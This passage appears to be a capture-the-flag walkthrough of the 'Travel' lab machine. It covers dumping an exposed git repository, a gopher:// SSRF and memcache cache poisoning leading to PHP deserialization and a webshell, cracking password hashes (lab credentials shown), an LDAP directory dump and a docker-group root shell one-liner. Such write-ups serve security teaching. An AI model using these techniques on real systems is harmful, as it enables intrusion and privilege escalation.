The SSL version of blog.travel.htb and blog-dev.travel.htb are both serving the
same content as https://www.travel.htb/ but the version in HTTP is different.
$ gittools-gitdumper http://blog-dev.travel.htb/.git/ dev-repo ########### # GitDumper is part of https://github.com/internetwache/GitTools # # Developed and maintained by @gehaxelt from @internetwache # # Use at your own risk. Usage might be illegal in certain circumstances. # Only for educational purposes! ###########
$ git status On branch master Changes not staged for commit: (use "git add/rm <file>..." to update what will be committed) (use "git restore <file>..." to discard changes in working directory) deleted: README.md deleted: rss_template.php deleted: template.php
Lines 33, 34, 40 seems to show a user controlled input. Lines 103, 104 teels use we can enable
a debug feature that may be show more verbose messages. On line 5, template.php is included
so let's take a look at it.
The safe() function disable us to use file:// protocol but gopher:// may
be use instead. 127.0.0.1 and localhost are filtered but that's easily
bypassable.
L17 we also saw there was a memcache server. gopher:// will allow us to interact
with memcache so it seems the way to go.
Let's see if we can craft a gopher payload that bypass the filters
to check if we can use gopher.
Let's quickly check that the string comparison is case sensitive in PHP.
Hopefully URL are case insensitive so LOCALHOST will be accepted by the server
and not filtered by safe().
With the class we will be able to write a file into the log folder.
I wanted to write a php webshell with weevely but weevely generated shell
contains a lot of @ chars that are disabled. So I had to use a simpler
webshell, something like easy-simple-php-webshell.php
or Simple-Backdoor-One-Liner.php.
Also Gopherus is hardcoding the key where it set the value to SpyD3r (this must be the reason why). But this
key is never called so the deserialization is never triggered.
Let's get back to the line where the content is cached:
The caching is done by simplepie with the function set_cache_location().
We can also see there is a 60 second timeout so after that the cache may expire
and the keys are prefixed with xct_.
If we search the set_cache_location() function on the source hosted on github
we can see the function is calling the class method cache_location.
/** * Set the file system location where the cached files should be stored * * @param string $location The file system location. */ publicfunctionset_cache_location($location = './cache') { $this->cache_location = (string) $location; }
Searching for cache_location I saw that both class
SimplePie_Cache_Memcache (library/SimplePie/Cache/Memcache.php) and
SimplePie_Cache_Memcached (/library/SimplePie/Cache/Memcached.php) are
implementing SimplePie_Cache_Base interface (library/SimplePie/Cache/Base.php).
The extra options timeout & prefix will be overriden by the ones we saw in
the template. Then the key is the concatenation of
the prefix xct_ + the md5 of the name (unique id), colon & type (TYPE_FEED).
In library/SimplePie/Cache/Base.php we can see that TYPE_FEED = 'spc'.
So we have something like that xct_ + MD5( UNIQUE_ID? ":spc") but we still need
to determine how UNIQUE_ID is generated.
For that we have to look at the main class (in library/SimplePie.php) when
SimplePie is initialized ($simplepie->init();).
/** * Set callback function to create cache filename with * * @param mixed $function Callback function */ publicfunctionset_cache_name_function($function = 'md5') { if (is_callable($function)) { $this->cache_name_function = $function; } }
So now which URL do we want to poison? We are forced to make it in two steps.
Because poisoning the URL we are attacking with is impossible as we need
the hash of the URL but the URL contains the cache that is forged with the
URL hash, so it's recursive.
Else we have to poison an arbitrary URL that we can compute in advance.
In the template code if no custom_feed_url is provided, the default one
http://www.travel.htb/newsfeed/customfeed.xml is used instead.
We can compute it like that:
That seems good. Also earlier I was copy-pasting the serialized payload into gopherus
so some unprintable characters were missing. The proper solution is to directly pipe
the output into it.
$ john --format=phpass hashes.txt -w=/usr/share/wordlists/passwords/rockyou.txt Using default input encoding: UTF-8 Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 128/128 AVX 4x3]) Cost 1 (iteration count) is 8192 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 1stepcloser (?)
lynik-admin / 1stepcloser
The we can log in via ssh:
1 2 3
$ ssh lynik-admin@travel.htb lynik-admin@travel:~$ id uid=1001(lynik-admin) gid=1001(lynik-admin) groups=1001(lynik-admin)
Elevation of Privilege (EoP): from lynik-admin to root#
# groups, linux, servers, travel.htb dn: ou=groups,ou=linux,ou=servers,dc=travel,dc=htb description: Linux Groups objectClass: organizationalUnit ou: groups
# jane, users, linux, servers, travel.htb dn: uid=jane,ou=users,ou=linux,ou=servers,dc=travel,dc=htb uid: jane cn: Jane Rodriguez sn: Rodriguez givenName: Jane loginShell: /bin/bash uidNumber: 5005 gidNumber: 5000 homeDirectory: /home/jane objectClass: top objectClass: person objectClass: organizationalPerson objectClass: inetOrgPerson objectClass: posixAccount objectClass: shadowAccount
# brian, users, linux, servers, travel.htb dn: uid=brian,ou=users,ou=linux,ou=servers,dc=travel,dc=htb uid: brian cn: Brian Bell sn: Bell givenName: Brian loginShell: /bin/bash uidNumber: 5002 gidNumber: 5000 homeDirectory: /home/brian objectClass: top objectClass: person objectClass: organizationalPerson objectClass: inetOrgPerson objectClass: posixAccount objectClass: shadowAccount
# frank, users, linux, servers, travel.htb dn: uid=frank,ou=users,ou=linux,ou=servers,dc=travel,dc=htb uid: frank cn: Frank Stewart sn: Stewart givenName: Frank loginShell: /bin/bash uidNumber: 5001 gidNumber: 5000 homeDirectory: /home/frank objectClass: top objectClass: person objectClass: organizationalPerson objectClass: inetOrgPerson objectClass: posixAccount objectClass: shadowAccount
# jerry, users, linux, servers, travel.htb dn: uid=jerry,ou=users,ou=linux,ou=servers,dc=travel,dc=htb uid: jerry uidNumber: 5006 homeDirectory: /home/jerry givenName: Jerry gidNumber: 5000 sn: Morgan cn: Jerry Morgan objectClass: top objectClass: person objectClass: organizationalPerson objectClass: inetOrgPerson objectClass: posixAccount objectClass: shadowAccount loginShell: /bin/bash
# johnny, users, linux, servers, travel.htb dn: uid=johnny,ou=users,ou=linux,ou=servers,dc=travel,dc=htb uid: johnny cn: Johnny Miller sn: Miller givenName: Johnny loginShell: /bin/bash uidNumber: 5004 gidNumber: 5000 homeDirectory: /home/johnny objectClass: top objectClass: person objectClass: organizationalPerson objectClass: inetOrgPerson objectClass: posixAccount objectClass: shadowAccount
# louise, users, linux, servers, travel.htb dn: uid=louise,ou=users,ou=linux,ou=servers,dc=travel,dc=htb uid: louise cn: Louise Griffin sn: Griffin givenName: Louise loginShell: /bin/bash uidNumber: 5007 gidNumber: 5000 homeDirectory: /home/louise objectClass: top objectClass: person objectClass: organizationalPerson objectClass: inetOrgPerson objectClass: posixAccount objectClass: shadowAccount
# christopher, users, linux, servers, travel.htb dn: uid=christopher,ou=users,ou=linux,ou=servers,dc=travel,dc=htb uid: christopher uidNumber: 5003 homeDirectory: /home/christopher givenName: Christopher gidNumber: 5000 sn: Ward cn: Christopher Ward objectClass: top objectClass: person objectClass: organizationalPerson objectClass: inetOrgPerson objectClass: posixAccount objectClass: shadowAccount loginShell: /bin/bash
# domainusers, groups, linux, servers, travel.htb dn: cn=domainusers,ou=groups,ou=linux,ou=servers,dc=travel,dc=htb memberUid: frank memberUid: brian memberUid: christopher memberUid: johnny memberUid: julia memberUid: jerry memberUid: louise memberUid: eugene memberUid: edward memberUid: gloria memberUid: lynik gidNumber: 5000 cn: domainusers objectClass: top objectClass: posixGroup
# search result search: 2 result: 0 Success
# numResponses: 22 # numEntries: 21
By the way, since the hostname, base & bind dn are specified inside .ldaprc we
can enter ldapsearch -x -w Theroadlesstraveled instead of the full command.
It seems our account is LDAP admin so we can configure it.
Then we can connect via SSH because the SSHD config is the following:
1 2 3 4 5 6 7 8 9 10 11 12 13
$ cat /etc/ssh/sshd_config | grep -v '#' Include /etc/ssh/sshd_config.d/*.conf AuthorizedKeysCommand /usr/bin/sss_ssh_authorizedkeys AuthorizedKeysCommandUser nobody ChallengeResponseAuthentication no UsePAM yes X11Forwarding yes PrintMotd no AcceptEnv LANG LC_* Subsystem sftp /usr/lib/openssh/sftp-server PasswordAuthentication no Match User trvl-admin,lynik-admin PasswordAuthentication yes
1 2 3
$ ssh -i ~/.ssh/id_rsa louise@travel.htb trvl-admin@travel:/$ id uid=1000(trvl-admin) gid=117(docker) groups=117(docker),5000(domainusers)
Then let's see images available in docker:
1 2 3 4 5 6 7 8
trvl-admin@travel:/$ docker images REPOSITORY TAG IMAGE ID CREATED SIZE nginx latest 602e111c06b6 4 months ago 127MB memcached latest ac4488374c89 4 months ago 82.3MB blog latest 4225bf7c5157 4 months ago 981MB ubuntu 18.04 4e5021d210f6 5 months ago 64.2MB jwilder/nginx-proxy alpine a7a1c0b44c8a 7 months ago 54.6MB osixia/openldap latest 4c780dfa5f5e 11 months ago 275M
Now that we are in the docker group it's easy EoP thanks to gtfobins. By the way we can search gtfobins
locally via two CLI tools: gtfo and gtfoblookup.
1 2 3 4 5 6 7 8 9 10 11 12 13 14
$ gtfo -b docker ... # The resulting is a root shell. Code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh Type: shell ...
$ gtfoblookup linux shell docker docker:
shell:
Description: The resulting is a root shell. Code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh